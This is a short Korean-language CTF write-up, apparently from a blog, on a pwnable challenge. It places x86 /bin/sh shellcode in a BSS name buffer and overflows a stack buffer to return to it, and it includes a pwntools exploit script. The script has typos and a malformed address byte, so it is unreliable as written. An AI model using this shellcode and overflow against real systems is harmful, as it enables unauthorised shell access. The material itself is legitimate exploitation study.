반응형

문제를 다운받고 실행시켜 보자

문제는 단순히 이름과 input값을 입력받기만 한다.
checksec로 한번 확인하고 IDA로 까보자

NX가 꺼져있다.
NX가 꺼져있으면 BSS영역에 쉘코드를 집어넣고 실행시킬 수 있다.
해당 문제는 쉘코드를 쓰게끔 의도한거같다.

문제를 보면 name이 전역변수, 즉 BSS영역에 있음을 알 수 있다.
혹시모르니 name변수를 더블클릭해서 확인해보면

역시나 BSS영역이였다.
그리고 위에 checksec한걸 확인해보면 PIE도 꺼져있기 때문에
주소가 고정되어있다.
즉 간단하게 name에 쉘코드를 넣고 s변수는 버퍼오버플로우 시켜서 리턴어드레스를 name으로 돌려버리면
쉘코드가 실행되게 된다.

쉘코드를 만들어주고 pwntools로 익스를 짜보자
from pwn import * p = remote("ctf.j0n9hyun.xyz", 3003) # Name 영역 p.recvuntil("Name : ") p.send("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31 \xc9\x89\xca\x6a\x0b\x58\xcd\x80") # input 영역 p.recvuntil("input : ") payload = ("a"*24 + "\x60\xA0\x04\08") p.send(paylaod) p.interactive()

반응형